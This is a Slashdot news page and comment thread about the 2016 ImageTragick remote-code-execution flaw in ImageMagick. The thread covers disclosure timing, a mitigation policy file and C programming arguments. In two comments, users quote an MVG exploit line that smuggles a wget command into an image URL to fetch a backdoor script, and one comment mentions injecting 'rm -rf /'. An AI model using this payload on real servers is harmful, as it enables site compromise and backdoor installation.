Slashdot is powered by your submissions, so send in your scoop

 



Forgot your password?
typodupeerror
×
Security The Internet

Huge Number Of Sites Imperiled By Critical Image-Processing Vulnerability (arstechnica.com) 104

Dan Goodin, reporting for Ars Technica: A large number of websites are vulnerable to a simple attack that allows hackers to execute malicious code hidden inside booby-trapped images. The vulnerability resides in ImageMagick, a widely used image-processing library that's supported by PHP, Ruby, NodeJS, Python, and about a dozen other languages. Many social media and blogging sites, as well as a large number of content management systems, directly or indirectly rely on ImageMagick-based processing so they can resize images uploaded by end users. According to developer and security researcher Ryan Huber, ImageMagick suffers from a vulnerability that allows malformed images to force a Web server to execute code of an attacker's choosing. Websites that use ImageMagick and allow users to upload images are at risk of attacks that could completely compromise their security. "The exploit is trivial, so we expect it to be available within hours of this post," Huber wrote in a blog post. He went on to say: "We have collectively determined that these vulnerabilities are available to individuals other than the person(s) who discovered them. An unknowable number of people having access to these vulnerabilities makes this a critical issue for everyone using this software."
This discussion has been archived. No new comments can be posted.

Huge Number Of Sites Imperiled By Critical Image-Processing Vulnerability

Comments Filter:
  • "The exploit is trivial, so we expect it to be available within hours of this post," Huber wrote in a blog post.

    Wouldn't it be prudent to get the maintainers for the library to patch first before making it exploit available to the public?

    • by Anonymous Coward on Friday May 06, 2016 @10:45AM (#52060979)

      Because keeping exploits secret leads to an ostrich mentality. Companies often prefer to shoot the messenger rather than solve the problem.

    • by Anonymous Coward on Friday May 06, 2016 @10:50AM (#52061009)

      Suggestion: read the article and details, before making assumptions. Because if you did, you would have see that that was done. A patch was created but apparently not complete. They also include two mitigation 'patches' (config) in the disclosure. Considering the seriousness of this exploit (even I could understand it - which makes it beyond trivial) the more attention this gets, the better.

      From https://imagetragick.com/

              April, 21 2016 - file read vulnerability report for one of My.Com services from https://hackerone.com/stewie received by Mail.Ru Security Team. Issue is reportedly known to ImageMagic team.
              April, 21 2016 - file read vulnerability patched by My.Com development team
              April, 28 2016 - code execution vulnerability in ImageMagick was found by Nikolay Ermishkin from Mail.Ru Security Team while researching original report
              April, 30 2016 - code execution vulnerability reported to ImageMagick development team
              April, 30 2016 - code execution vulnerability fixed by ImageMagick (incomplete fix)
              April, 30 2016 - fixed ImageMagic version 6.9.3-9 published (incomplete fix)
              May, 1 2016 - ImageMagic informed of the fix bypass
              May, 2 2016 - limited disclosure to 'distros' mailing list
              May, 3 2016 - public disclosure at https://imagetragick.com/

      • Suggestion: read the article and details, before making assumptions.

        This is Slashdot. You must be new around here.

        • by OzPeter ( 195038 )

          Suggestion: read the article and details, before making assumptions.

          This is Slashdot. You must be new around here.

          What sort of newbie are you? He's AC .. I have seen him posting here for over a decade. He was one of the very first people to sign up for an account.

          • What sort of newbie are you? He's AC .. I have seen him posting here for over a decade.

            Over a decade ago most comments were posted under individual accounts and only goatse trolls posted under AC.

            • by OzPeter ( 195038 )

              What sort of newbie are you? He's AC .. I have seen him posting here for over a decade.

              Over a decade ago most comments were posted under individual accounts and only goatse trolls posted under AC.

              So cut the guy some slack .. he's obviously cleaned up his life.

    • "The exploit is trivial, so we expect it to be available within hours of this post," Huber wrote in a blog post.

      Wouldn't it be prudent to get the maintainers for the library to patch first before making it exploit available to the public?

      No matter how long it takes to get a patched version of IM, it will take far longer for people to hunt down all the places that it's running. Five years from now people will still regularly be discovering sites running vulnerable versions of it because it's everywhere and there is likely to be no quick easy way to scan for it aside from uploading a malicious file.

    • by IMightB ( 533307 )

      It is my understanding that it's been fixed in the latest version of imagemagick, the problem is that the distro maintainers haven't backported it yet. There is also a trivial mitigation technique: https://bugzilla.redhat.com/sh... [redhat.com]

  • FTA: "They said that recent versions of ImageMagick don't properly filter the uploaded file names before passing them to the server processes such as HTTPS."

    Err, why is an image processing library doing network uploads anyway?

    • Err, why is an image processing library doing network uploads anyway?

      Reading comprehension, where are you?

      The image processing library does just that, process images. In some cases, it processes images that have been uploaded by users to a web site (think Facebook photo albums), and if the user maliciously uploaded a booby-trapped photo, he can now make the website execute commands that were not intended by the site operator...

      • I thinks that is what is meant. If the upload routines do not check anything, that is hardly the fault of the library that comes next. Files that are not even images should never be given to ImageMagick at all. So I would say it is a vulnerability for lousily programmed websites, not for some library that happens to get poisonous input.
        • by ArsenneLupin ( 766289 ) on Friday May 06, 2016 @12:18PM (#52061909)
          What, in your opinion should the upload receiving routines check? In the example, the website would resize profile photos that users upload. One image format would have the possibly to "include" contents that is to be downloaded from someplace else. Imagemagick performs such downloads by handing off that task to wget (or similar tool), which it calls via system(), completely forgetting to santize the URL (... so somebody might append "; rm -rf / to it, or somesuch). How do you propose that the upload routine of the web site catch this, short of parsing the entire image itself? But if it did that, there'd be no point of using an image processing tool at all, because the wrapper would already half done two thirds of the job.
          • One image format would have the possibly to "include" contents that is to be downloaded from someplace else.

            Another example of overloading a simple function with unnecessary wide-scope actions. Why should an image processing program need to use wget to do anything?

            But if it did that, there'd be no point of using an image processing tool at all,

            Sounds like they're not using an image processing tool, they're using a command shell that happens to understand image formats.

    • by AC-x ( 735297 )

      Reading through the various linked articles it looks like the issue is that ImageMagick supports formats like SVG and MVG that allow for embedded images (and enables embedded images by default), but doesn't sanity check those filenames and instead can execute them as batch scripts.

      The example given is for a .mvg file:

      image Over 0,0 1,1 'url(https:";wget "http://pastebin.com/raw/badpastebin" -O /home/vhosts/file/backdoor.pl")'

  • Shit! The internet is Nightmare on Elm Street. I'm too scared to leave Slashdot and go out and read the article.

  • by Anonymous Coward

    Does anyone else miss the old days of Slashdot when the comments were worth reading? I came into this article with mod points looking for things to upvote, but so far the comment breakdown seems to be 40% lame attempts at jokes, 30% an argument over whether C is a good programming language, 20% trolling, and 10% actual discussion of the bug at hand.

    There was a time when the first comment you'd see would be a +5 Insightful comment that had an explanations some of the underlying technical flaws in ImageMagick

  • by MobyDisk ( 75490 ) on Friday May 06, 2016 @11:48AM (#52061607) Homepage

    The headline says this is an image processing vulnerability. That makes it sound like someone could put embed code into a PNG/JPG/SVG file or something like that. But skimming the linked articles, it looks more like ImageMagick has a server product with bad URL parsing.

    • by AC-x ( 735297 )

      That makes it sound like someone could put embed code into a PNG/JPG/SVG file or something like that. But skimming the linked articles, it looks more like ImageMagick has a server product with bad URL parsing.

      From what I gathered [sucuri.net] you can put embed code into SVG/MVG files, because it lets those formats specify embedded images by default and doesn't sanity check the URL.

      They give an MVG example for the exploit: image Over 0,0 1,1 'url(https:";wget "http://pastebin.com/raw/badpastebin" -O /home/vhosts/file/backdoor.pl")'

  • An intermediate fix (Score:5, Informative)

    by Artem S. Tashkinov ( 764309 ) on Friday May 06, 2016 @11:56AM (#52061711) Homepage
    Update your /etc/ImageMagick/policy.xml file so that it contains this (taken from http://imagetragick.com ) and restart corresponding daemons:

    <policymap>
      <policy domain="coder" rights="none" pattern="EPHEMERAL" />
      <policy domain="coder" rights="none" pattern="URL" />
      <policy domain="coder" rights="none" pattern="HTTPS" />
      <policy domain="coder" rights="none" pattern="MVG" />
      <policy domain="coder" rights="none" pattern="MSL" />
      <policy domain="coder" rights="none" pattern="TEXT" />
      <policy domain="coder" rights="none" pattern="SHOW" />
      <policy domain="coder" rights="none" pattern="WIN" />
      <policy domain="coder" rights="none" pattern="PLT" />
    </policymap>

    You're safe now. The full fix is still being worked out.
  • by thisisauniqueid ( 825395 ) on Friday May 06, 2016 @05:11PM (#52063873)
    Turns out we should have been using the better fork [graphicsmagick.org] since 2002 anyway.
    • by UPi ( 137083 )

      I've been using GraphicsMagick ever since debian switched to that package for better compatibility. I have been very happy with it; it is fast, versatile and, as I learned to day, more secure. Some of my users e-mailed me to warn me of the ImageMagick vulnerability, It's good that I could sleep through this one.

      On a related note, not sanitizing incoming filenames is just bad security practice. It's the very first thing I do to any uploaded file.

"Because he's a character who's looking for his own identity, [He-Man is] an interesting role for an actor." -- Dolph Lundgren, "actor"

Working...